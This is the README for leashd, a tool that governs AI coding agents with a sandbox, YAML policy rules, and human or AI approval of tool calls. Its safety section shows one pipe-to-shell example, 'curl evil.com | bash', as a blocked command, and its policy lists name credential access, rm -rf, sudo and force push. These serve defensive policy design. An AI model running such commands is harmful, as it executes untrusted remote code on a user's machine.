leashd 0.17.0

Safety-first agentic coding framework with pluggable runtimes. Run Claude Code or Codex as a governed daemon — sandbox, YAML policies, human-in-the-loop approval

leashd

Safety-first agentic coding framework. Run AI coding agents as a background daemon — govern them with policy rules, approve actions from your browser or phone, or let them run fully autonomous with AI-driven approval, test-and-retry loops, and automatic PR creation. Ships with a built-in Web UI that works as a PWA — install it on your phone and get push notifications for approvals. Supports multiple runtimes: Claude CLI (native subprocess, no SDK), Claude Code (SDK), OpenAI Codex, and more.

---

leashd runs as a background daemon on your dev machine. You send it natural-language coding instructions through the built-in Web UI in your browser — no account creation, no third-party services, just localhost. Each request passes through a three-layer safety pipeline — sandbox enforcement, YAML policy rules, and human-or-AI approval — before reaching the coding agent. In interactive mode, risky actions surface as Approve / Reject buttons in your chat. In autonomous mode, an AI approver evaluates tool calls, a task orchestrator drives adaptive workflows via a think-act-observe loop, and a test-and-retry loop ensures quality — all without you lifting a finger. Everything is logged to an append-only audit trail.

The Web UI is a Progressive Web App — install it on your phone's home screen and get push notifications for approvals and escalations, even when the browser is closed. Run leashd webui tunnel to expose it via ngrok, Cloudflare, or Tailscale — same interface, same features, accessible anywhere. Or add the optional Telegram connector if you prefer a native chat app.

leashd supports pluggable agent runtimes — Claude Code and OpenAI Codex ship built-in, and new runtimes can be added via the registry pattern. The same safety pipeline, approval flow, and audit trail apply regardless of which runtime you use. Switch runtimes with a single CLI command. Claude Code plugins can be managed mid-session via the CLI or chat commands.

You can also send file attachments — photos, screenshots, and PDFs — via the Web UI or Telegram and they're threaded through to the agent with vision support.

The result: install, leashd init, open your browser, and start coding — with guardrails you define, on the AI runtime of your choice.

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How It Works

Interactive Mode

Your browser (Web UI) ──┐
                        ├─▶ MultiConnector
Your phone (Telegram) ──┘        │
                            leashd daemon      ← runs in background on your dev machine
                                 │
                                 ├─ 1. Sandbox       ← path-scoped: blocks anything outside approved dirs
                                 ├─ 2. Policy rules  ← YAML: allow / deny / require_approval per tool/command
                                 └─ 3. Human gate    ← Approve / Reject buttons in Web UI or Telegram
                                         │
                                         ▼
                                  Agent runtime      ← Claude Code, Codex, or custom — reads files, writes code, runs tests

Autonomous Mode

/task "Add health check endpoint"  (Web UI or Telegram)
        │
        ▼
   Task Orchestrator (v2 — LLM-driven conductor)
        │
        ├─ think    ← conductor assesses progress, decides next action
        ├─ act      ← executes chosen action (explore, plan, implement, test, verify, fix, review, pr)
        ├─ observe  ← evaluates result, updates task memory
        └─ loop     ← repeats until task is complete or escalates to human
                │
                ▼
   You get a PR link — or an escalation message if the agent gets stuck

AI approval replaces human taps: a secondary AI call evaluates each require_approval tool call in context and decides automatically. Plan reviews are always forwarded to the human — you see the plan before implementation begins. Hard blocks (credentials, rm -rf, force push) can never be overridden.

Sessions are multi-turn: the agent remembers the full conversation context, so you can iterate naturally across messages ("now add tests for that", "rename it to X").

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Quick Start

Prerequisites

• Python 3.10+
• At least one agent runtime:
  • Claude Code CLI — installed and authenticated. The claude command must work in your terminal. (default runtime)
  • Codex CLI — installed and authenticated. The codex command must work in your terminal.

1. Install

pip install leashd

Or with uv (recommended):

uv tool install leashd

2. Run the setup wizard

leashd init

The wizard prompts you for your approved directory/directories, sets up the Web UI (you pick an API key and port), and writes ~/.leashd/config.yaml. No manual config file editing needed. That's it — no accounts, no third-party services.

3. Start the daemon

leashd start

leashd starts in the background. Check it with leashd status, stop it with leashd stop.

4. Open the Web UI and start coding

Open http://localhost:8080 (or whatever port you chose), enter your API key, and send something like:

"Add a health check endpoint to the FastAPI app"

The agent starts working. When it needs to do something gated by policy (e.g. write a file), you'll get an Approve / Reject button right in the browser.

You can also drag-and-drop photos, screenshots, or PDFs — the agent sees them via vision.

Optional: install as a PWA

The Web UI works as a Progressive Web App. In Chrome or Safari, tap "Add to Home Screen" (mobile) or "Install" (desktop) to get a standalone app with push notifications — approval requests arrive on your lock screen even when the browser is closed.

Optional: access from your phone

Expose the Web UI over the internet with a single command:

leashd webui tunnel                           # uses ngrok by default
leashd webui tunnel --provider cloudflare      # or Cloudflare Tunnel
leashd webui tunnel --provider tailscale       # or Tailscale Funnel

This starts a tunnel pointing to your WebUI port, prints the public URL, and optionally sends it to your Telegram chat. Open the URL on your phone and you get the full Web UI — streaming, approvals, file attachments, everything. The tunnel process is managed by the daemon and stops when the daemon stops.

Security note: When a tunnel is active, your LEASHD_WEB_API_KEY is your only line of defense. Choose a strong key. Failed auth attempts are rate-limited (5 failures → 60s lockout).

Alternative: Telegram connector

Prefer a native chat app? Add the Telegram connector:

1. Open Telegram and search for @BotFather
2. Send /newbot and follow the prompts
3. Copy the token BotFather gives you (looks like 123456:ABC-DEF1234ghIkl-zyx57W2v1u123ew11)
4. Message @userinfobot to get your numeric user ID (e.g. 981234567)
5. Run leashd init again or set the env vars directly:

LEASHD_TELEGRAM_BOT_TOKEN=your-token-here
LEASHD_ALLOWED_USER_IDS=your-user-id

Restart the daemon and both connectors run simultaneously — same engine, same sessions.

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What's New in 0.17.0

tmux runtime — runs a real interactive claude TUI in a tmux pane (leashd runtime set tmux, experimental). Tool calls still flow through leashd's sandbox/policy/approval/audit pipeline via Claude Code PreToolUse hooks — approval parity with claude-cli. Selectable from the Web UI runtime dropdown; works without a running WebUI. A shared build_agent_cli_args helper ensures tmux and claude-cli launch identical claude invocations (same effort, tools, MCP, plugins).

Task orchestrator v4 (new default) — slim implement → verify pipeline with no plan or review phases by default. Implement runs under Claude's native auto permission policy (degrades gracefully to acceptEdits on SDK runtimes); verify always exercises the change via agent-browser plus a code-quality diff review — no change-shape gating. Opt review back in with --phases implement,verify,review. Roll back to v3 with leashd task version set v3.

/auto mode — new mode that mirrors Claude Code's native auto permission policy. Safe actions run without prompting; when Claude escalates a risky action leashd applies its full YAML policy and approval pipeline. Modes now map directly to Claude modes: auto ↔ auto, edit ↔ acceptEdits, plan ↔ plan. The non-overridable hard-deny floor (credentials, rm -rf, sudo, force-push) still applies in auto.

Indefinite approval timeout — AskUserQuestion, tool approval, and plan-review now wait for the human indefinitely by default (parity with claude-cli). Set LEASHD_APPROVAL_TIMEOUT_SECONDS / LEASHD_INTERACTION_TIMEOUT_SECONDS to restore a timed fail-closed net.

See CHANGELOG.md for the full history.

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Runtimes

leashd supports pluggable agent runtimes. The same safety pipeline, approval flow, audit trail, and connector integration work identically regardless of which runtime you use.

leashd runtime list          # list available runtimes
leashd runtime show          # show active runtime and its capabilities
leashd runtime set codex     # switch to Codex runtime
leashd runtime set claude-code   # switch to Claude Code (SDK)
leashd runtime set claude-cli    # switch to Claude CLI (default)

Runtime	Backend	Session Resume	Autonomous Mode	Install	Stability
claude-cli (default)	Claude CLI (native subprocess)	NDJSON session IDs	Full (task orchestrator, auto-approver)	claude CLI authenticated	beta
claude-code	Claude Code CLI (SDK)	SDK sessions	Full (task orchestrator, auto-approver)	claude CLI + claude-agent-sdk	stable
codex	Codex CLI	Thread IDs	Full (streaming + approval bridge)	codex CLI authenticated	beta
tmux (experimental)	Interactive claude TUI in a tmux pane	Session tokens	Full (PreToolUse hook bridge, auto-approver)	claude CLI + tmux	experimental

All runtimes support interactive approval, streaming responses, and the full autonomous pipeline. Each runtime declares its capabilities via an agent capabilities model — leashd adapts features like session resume and approval routing automatically.

Adding custom runtimes — extend the SubprocessAgent base class for any CLI-driven agent tool and register it with the runtime registry.

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Daemon Mode

leashd runs as a background process by default.

leashd start           # start daemon (background)
leashd start -f        # start in foreground (useful for debugging)
leashd status          # check if daemon is running
leashd stop            # graceful shutdown
leashd restart         # stop + start
leashd reload          # reload config without restart (SIGHUP)
leashd version         # print version and exit

Logs go to ~/.leashd/logs/app.log by default. Set LEASHD_LOG_DIR to change the path.

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Autonomous Mode

Autonomous mode replaces manual approval taps with AI evaluation, adds a post-task test-and-retry loop, and drives adaptive autonomous tasks through the task orchestrator. Plan reviews are always forwarded to the human — the AI approver handles routine tool calls, not plans. Send /task <description> from the Web UI or Telegram and come back to a PR — or an escalation message if the agent gets stuck.

leashd autonomous          # show current autonomous settings
leashd autonomous setup    # run autonomous config wizard
leashd autonomous enable   # quick-enable with defaults
leashd autonomous disable  # disable autonomous mode

Three Guarantees

1. Human-in-the-loop when it matters — hard blocks (credentials, force push, rm -rf, sudo) can never be overridden by any approver. Plan reviews always route to the human. The AI approver only handles require_approval decisions, never deny decisions.
2. Fail-safe defaults — the AutoApprover fails closed (denies on error), the AutonomousLoop escalates to the human when retries are exhausted, and circuit breakers cap both approval calls and plan revisions per session. The conductor escalates after 3 consecutive parse failures or CLI errors instead of looping indefinitely.
3. Full auditability — every AI approval decision is logged with approver_type in the same append-only JSONL audit trail. Task memory contents are persisted and recoverable. No decision is invisible.

Task Orchestrator vs Autonomous Loop

Aspect	/task (Task Orchestrator)	/edit (Autonomous Loop)
Use when	Starting from scratch — "build feature X"	You know what to change — "fix the login bug"
How it works	LLM-driven think-act-observe loop — conductor assesses complexity and dynamically chooses actions (explore, plan, implement, test, verify, fix, review, pr)	Single-shot: implement → test → retry
Planning	Adaptive — simple tasks skip planning; complex ones get exploration and spec first	No planning — goes straight to implementation
Task memory	Persistent working memory (8K chars) across steps and daemon restarts	None — starts over
Crash recovery	Full — task memory and git-backed checkpoints survive daemon restarts	None — starts over
Cost tracking	Per-action breakdown and total	Session-level only

See the Autonomous Setup Guide for a full walkthrough and the Autonomous Mode Reference for the technical details.

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Configuration

leashd is configured primarily through CLI commands — no manual file editing needed. Run leashd init once, then use subcommands for everything else.

Setup and inspection

leashd init       # first-time setup wizard — writes ~/.leashd/config.yaml
leashd config     # show resolved config (all layers merged)

Approved directories

leashd add-dir /path/to/project    # approve a directory
leashd remove-dir /path/to/project # revoke approval
leashd dirs                         # list approved directories

Runtimes

leashd runtime list        # list available runtimes
leashd runtime show        # show active runtime and capabilities
leashd runtime set codex   # switch runtime

Autonomous mode

leashd autonomous setup    # guided setup for autonomous features
leashd autonomous enable   # quick-enable with defaults
leashd autonomous disable  # disable autonomous mode
leashd autonomous show     # show current autonomous config

Web UI

leashd webui show       # show current WebUI config (enabled, port, key)
leashd webui enable     # enable WebUI and set API key + port
leashd webui disable    # disable WebUI
leashd webui url        # print the WebUI URL
leashd webui tunnel     # expose WebUI via tunnel (ngrok by default)
leashd webui tunnel --provider cloudflare   # use Cloudflare Tunnel
leashd webui tunnel --provider tailscale    # use Tailscale Funnel

Browser

leashd browser show                                  # show backend and profile
leashd browser set-backend agent-browser              # switch browser backend
leashd browser set-profile ~/.leashd/browser-profile  # set persistent profile
leashd browser clear-profile                           # remove profile
leashd browser headless                                # toggle headless mode

Max turns

leashd turns show        # display current max turns setting
leashd turns set <N>     # set max turns to N (positive integer)

Max turns can also be adjusted from the WebUI Settings page.

Task orchestrator version

leashd task version show       # display current version (v1, v2, v3, or v4)
leashd task version set v4     # default — linear implement→verify with native auto + always-browser verify
leashd task version set v3     # linear plan→implement→verify→review pipeline
leashd task version set v2     # LLM-driven think-act-observe loop

Restart the daemon (leashd restart) to pick up the new version. v4 is the default for new installs; existing configs with an explicit v2 / v3 value are preserved. Pass --phases implement,verify,review to a v4 /task to opt the review phase back in.

Thinking effort

leashd effort show       # display current effort level
leashd effort set high   # set effort level (low, medium, high, xhigh, max — default: xhigh)

Plugins

leashd plugin list                  # list installed plugins and their status
leashd plugin add <source>          # install a Claude Code SDK plugin
leashd plugin remove <name>         # uninstall a plugin
leashd plugin enable <name>         # enable a disabled plugin
leashd plugin disable <name>        # disable a plugin without removing it

Plugins can also be managed mid-session via the /plugin chat command — no daemon restart needed.

Skills

leashd skill list              # list installed skills (default)
leashd skill add skill.zip     # install from zip archive
leashd skill remove my-skill   # uninstall a skill
leashd skill show my-skill     # show skill details

Workspaces

leashd ws add my-saas ~/src/api ~/src/web   # create a workspace
leashd ws add my-saas ~/src/worker           # add a dir to existing workspace
leashd ws list                               # list all workspaces
leashd ws show my-saas                       # inspect repos in a workspace
leashd ws remove my-saas ~/src/worker        # remove a dir from workspace
leashd ws remove my-saas                     # remove entire workspace

Workspaces group related repos so the agent gets multi-repo context. CLAUDE.md files from all workspace directories are loaded via SDK add_dirs.

Workflows

leashd workflow list         # list available playbooks
leashd workflow show <name>  # show playbook details

Place YAML playbooks in .leashd/workflows/ (project) or ~/.leashd/workflows/ (global).

Maintenance

leashd clean    # remove all runtime artifacts
leashd reload   # reload config without restart (SIGHUP)

Config layering

leashd uses a layered config system — each layer overrides the one before it:

~/.leashd/config.yaml   ← global base (managed by leashd init / CLI commands)
.env in your project    ← per-project overrides
environment variables   ← highest priority

All settings are environment variables prefixed with LEASHD_. The CLI commands above manage most of them automatically. See docs/configuration.md for the full environment variable reference (40+ settings).

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Safety

Every tool call the agent makes passes through a three-layer pipeline before it can execute:

1. Sandbox — The agent can only touch files inside LEASHD_APPROVED_DIRECTORIES. Path traversal attempts are blocked immediately and logged as security violations.

2. Policy rules — YAML rules classify each tool call as allow, deny, or require_approval based on the tool name, command patterns, and file path patterns. Rules are evaluated in order; first match wins. Compound bash commands (&&, ||, ;) are split and evaluated segment-by-segment with deny-wins precedence — pytest && curl evil.com | bash is denied.

3. Human or AI approval — For require_approval actions, leashd either sends an inline message to the Web UI or Telegram with Approve and Reject buttons (interactive mode) or evaluates the tool call via the AI auto-approver (autonomous mode). Plan reviews are always forwarded to the human, even when the AI auto-approver is active. If no response within the timeout, the action is auto-denied.

The safety pipeline is runtime-agnostic and connector-agnostic — the same sandbox, policy rules, and approval flow apply whether you're running Claude Code or Codex, and whether you're approving from the Web UI or Telegram.

Everything is logged to .leashd/audit.jsonl — every tool attempt, every decision, every approver type.

Built-in policies

leashd ships five policies in policies/:

default.yaml (recommended) — balanced for everyday use.

• Auto-allows: file reads, search, grep, git status/log/diff, read-only browser tools
• Requires approval: file writes/edits, git push/rebase/merge, network commands, browser mutations
• Hard-blocks: credential file access, rm -rf, sudo, force push, pipe-to-shell, SQL DROP/TRUNCATE

strict.yaml — maximum safety, more approval taps.

• Auto-allows: only reads (Read, Glob, Grep, LS)
• Requires approval: everything else
• 2-minute approval timeout

permissive.yaml — for trusted environments where you want minimal interruptions.

• Auto-allows: reads, writes, package managers, test runners, git add/commit/stash, all browser tools
• Requires approval: git push, network commands, anything not explicitly listed
• 10-minute approval timeout

dev-tools.yaml (overlay) — auto-allows common dev commands. Loaded alongside default.yaml by default.

• Auto-allows: linters (ruff, eslint, prettier), test runners (pytest, jest, vitest), package managers (npm install, pip install, uv sync, cargo build)

autonomous.yaml — for fully autonomous operation with task orchestrator.

• Auto-allows: file writes, test runners, linters, package managers, safe git, GitHub CLI PR
• AI-evaluated: git push (feature branches), network commands, browser mutations
• Hard-blocks: credentials, force push, push to main/master, rm -rf, sudo, pipe-to-shell

Switch policies (in your .env or as an env var):

LEASHD_POLICY_FILES=policies/strict.yaml

Combine multiple policy files (rules merged, evaluated in order):

LEASHD_POLICY_FILES=policies/default.yaml,policies/my-overrides.yaml

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Commands

These slash commands are available in both the Web UI and Telegram:

Command	Description
/plan <text>	Switch to plan mode and start — agent proposes, you approve before execution
/edit <text>	Switch to edit mode and start — direct implementation
/auto <text>	Switch to auto mode — Claude's native auto permission policy; leashd safety pipeline intercepts escalations
/default	Switch back to balanced default mode
/dir	Switch working directory (inline buttons). Blocked while an agent is running.
/git <subcommand>	Full git suite: status, branch, checkout, diff, log, add, commit, push, pull
/web <instruction>	Autonomous web automation with content-level human approval
/test	9-phase agent-driven test workflow with browser automation
/task <description>	Autonomous task: implement → verify pipeline → PR (v4 default)
/tasks	List active and recent tasks for the current chat
/stop	Stop all ongoing work (agent, task, loop) without resetting session
/cancel	Cancel the active task in the current chat
/plugin	Manage Claude Code plugins mid-session (install, remove, enable, disable)
/ws	Manage workspaces inline. Blocked while an agent is running.
/status	Show current session, mode, and directory
/clear	Clear conversation history, cancel active tasks, and start fresh

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Workspaces

Workspaces group related repositories so the agent gets multi-repo context across all of them simultaneously. Configure workspaces via leashd ws — see Configuration > Workspaces for the full command reference. When active, CLAUDE.md files from all workspace directories are loaded and the agent's system prompt includes multi-repo context.

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Session Persistence

All sessions are stored in a centralized SQLite database at ~/.leashd/messages.db and persist across daemon restarts — the agent remembers conversation context between sessions. Every message is stored with cost, duration, and session metadata. The centralized database ensures Web UI and Telegram sessions don't conflict when running concurrently.

For development or testing, use in-memory storage (in .env):

LEASHD_STORAGE_BACKEND=memory

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Web UI

The Web UI is leashd's primary interface — a full browser-based chat that runs on localhost with zero external dependencies:

leashd webui enable    # set API key and port (or configure during leashd init)
leashd start           # start daemon with WebUI

Open http://localhost:8080 and enter your API key. The Web UI provides:

• Real-time streaming — responses stream via WebSocket as the agent types
• Inline approvals and interactions — Approve / Reject prompts and question modals, same as Telegram
• Push notifications — Web Push alerts on your lock screen when the browser is closed, in-page notifications with audio chime and tab title flash when the tab is in the background, and optional Telegram cross-notification with deep links
• Installable PWA — add to home screen on iOS, Android, or desktop for a standalone app experience with proper safe-area handling on notched devices
• Seamless reconnection — pending approvals, questions, and in-progress drafts are preserved across reconnects; 120-second grace period keeps sessions alive through sleep/wake cycles; instant reconnect on phone unlock
• Mobile-friendly input — on mobile, the Enter key inserts a newline; use the Send button to submit. Designed for composing multi-line prompts on a phone keyboard.
• 27 color themes — Dracula, Monokai, Catppuccin, Nord, Synthwave, Matrix, and more, each with dark and light variants, selectable from Settings
• Conversation history — sidebar with past conversations, searchable
• Directory and workspace tabs — switch working directory or workspace without slash commands
• Settings page — configure runtime, effort, max turns, themes, and other settings from the browser
• Markdown rendering — syntax-highlighted code blocks, tables, and formatting
• Mobile-responsive — usable on phone browsers; pair with leashd webui tunnel for remote access
• File attachments — drag-and-drop photos, screenshots, and PDFs

Remote access via tunnel

Access the Web UI from your phone or any device — no Telegram required:

leashd webui tunnel                           # ngrok (default)
leashd webui tunnel --provider cloudflare      # Cloudflare Tunnel
leashd webui tunnel --provider tailscale       # Tailscale Funnel

The command starts a tunnel to your WebUI port, prints the public URL, and optionally sends it to your Telegram chat so you can open it on your phone with one tap. The tunnel process is a child of the daemon — when the daemon stops, the tunnel stops.

The tunnel provider CLI (ngrok, cloudflared, or tailscale) must be installed separately. When exposed publicly, your LEASHD_WEB_API_KEY is your authentication layer — choose a strong key. Failed auth attempts are rate-limited (5 failures → 60s lockout).

Both connectors can run simultaneously via the MultiConnector — configure the WebUI alongside Telegram, and leashd routes messages to the right client automatically. Both share the same Engine, so a task started from the Web UI can be monitored from Telegram and vice versa.

See docs/webui.md for the full WebUI guide.

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Browser Automation

leashd supports two browser backends for the /web and /test commands — both gated by the same safety pipeline:

Backend	Install	Best for
agent-browser (default)	npm install -g agent-browser && agent-browser install	Fast Rust CLI, snapshot-based refs, headless by default
Playwright MCP	npx playwright install chromium	Test generation, MCP-native tooling

Switch backends and manage profiles via leashd browser — see Configuration > Browser for all commands.

agent-browser (default) — Vercel's headless browser CLI with a native Rust binary and Node.js fallback. Uses accessibility-tree snapshots with deterministic element refs (@e1, @e2) for reliable AI-driven interaction. Runs headless by default. Supports cloud providers (Browserbase, Browser Use, Kernel) and iOS Simulator via the -p flag.

Playwright MCP — the .mcp.json at the project root pre-configures Claude Code to spawn the Playwright MCP server. Read-only browser tools (snapshots, screenshots) are auto-allowed in default.yaml; mutation tools (click, navigate, type) require approval.

Web session checkpoints — /web sessions automatically persist progress, so if the agent crashes mid-workflow it resumes from the last checkpoint instead of restarting.

See docs/browser-testing.md for Chrome profile paths by OS, the full tool reference, and policy details.

Typical workflow

1. Start your dev server (npm run dev, uvicorn, etc.)
2. In the Web UI or Telegram: /test --url http://localhost:3000
3. The agent navigates, verifies, and reports — each mutation tap needs your approval

Or use the /web command for general web automation:

1. In the Web UI or Telegram: /web check my GitHub notifications
2. The agent navigates using your persistent browser profile, reads content, and reports back
3. Any actions (commenting, clicking) are proposed via AskUserQuestion for your approval

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Streaming

Responses stream in real time in both the Web UI and Telegram — the message updates progressively as the agent types. While tools are running, you see a live indicator (e.g., 🔧 Bash: pytest tests/). The final message includes a tool usage summary (e.g., 🧰 Bash ×3, Read, Glob).

Disable in .env:

LEASHD_STREAMING_ENABLED=false

---

CLI Mode

No WebUI and no Telegram token? leashd falls back to a local REPL — useful for testing your config:

# Don't set LEASHD_WEB_ENABLED or LEASHD_TELEGRAM_BOT_TOKEN, then:
leashd start -f
# > type your prompts here

Note: actions requiring approval are auto-denied in CLI mode since there's no approval UI.

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Logging

leashd uses structlog for structured logging. Set log level in .env:

LEASHD_LOG_LEVEL=DEBUG     # full trace including policy decisions
LEASHD_LOG_LEVEL=INFO      # default — operational events
LEASHD_LOG_LEVEL=WARNING   # warnings and errors only

File logging (JSON, rotating) is enabled by default:

LEASHD_LOG_DIR=~/.leashd/logs

Key log event sequence at INFO:

engine_building → engine_built → daemon_starting → session_created →
request_started → agent_execute_started → agent_execute_completed →
request_completed

---

Architecture

leashd's core is the Engine, which receives messages from connectors, runs them through middleware (auth, rate limiting), delegates to the active agent runtime, and sends responses back. The MultiConnector manages simultaneous connectors (Web UI, Telegram) with chat_id-based routing — both share the same Engine, so sessions, approvals, and task state are unified. The RuntimeRegistry manages pluggable agent backends — each runtime registers its capabilities (streaming, session resume, tool approval, autonomous support) and the Engine adapts accordingly. Every tool call the agent makes is intercepted by the Gatekeeper, which orchestrates the three-layer safety pipeline. An EventBus decouples subsystems — plugins subscribe to events like tool.allowed, tool.denied, approval.requested, and task.submitted. Storage is centralized in messages.db to prevent race conditions across concurrent connector sessions. The TaskOrchestrator runs an LLM-driven think-act-observe loop with persistent task memory, and the AutonomousLoop handles post-task test-and-retry — both plug into the event bus.

Web UI connector ────┐
                     ├─▶ MultiConnector (chat_id routing)
Telegram connector ──┘         │
                          Middleware (auth, rate limit)
                               │
                            Engine ──── EventBus ──── TaskOrchestrator (think-act-observe)
                               │                       AutonomousLoop
                          RuntimeRegistry               TaskMemory
                               ├─ Claude CLI
                               ├─ Claude Code
                               ├─ Codex
                               └─ (custom)
                               │
                          Gatekeeper ──────────────────────────────┐
                               │                                   │
                          Active agent runtime          1. Sandbox check
                               │                        2. Policy rule match
                               └── tool call ──────────▶ 3. Human / AI approval

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Development

# Clone and install (including dev dependencies)
git clone [e-mail]:vmehera123/leashd.git && cd leashd
uv sync

# Run tests
uv run pytest tests/
uv run pytest tests/test_policy.py -v          # single file
uv run pytest --cov=leashd tests/              # with coverage

# Lint and format
uv run ruff check .
uv run ruff check --fix .
uv run ruff format .

# Full check (lint + format + mypy + all tests including E2E + JS)
make check

E2E browser tests

The E2E tests use Playwright to drive a real browser against the WebUI. They require a one-time Chromium install:

uv run playwright install chromium

# Run E2E tests only
uv run pytest -m e2e -v

CI runs unit and E2E tests separately so Playwright setup issues don't block unit test results.

JS unit tests

Unit tests for WebUI utility functions (leashd/data/webui/utils.js) use Vitest and require Node.js:

cd tests/js
npm install
npm test

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Status

leashd is alpha — the API and config schema may change between versions. Core functionality (daemon, safety pipeline, Web UI, Telegram integration, policy engine, task orchestrator, multi-runtime support) is stable and tested at 89%+ coverage. Not recommended for production environments where agent actions could have irreversible consequences without review.

If you hit a bug or have a feature idea, open an issue.

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License

Apache 2.0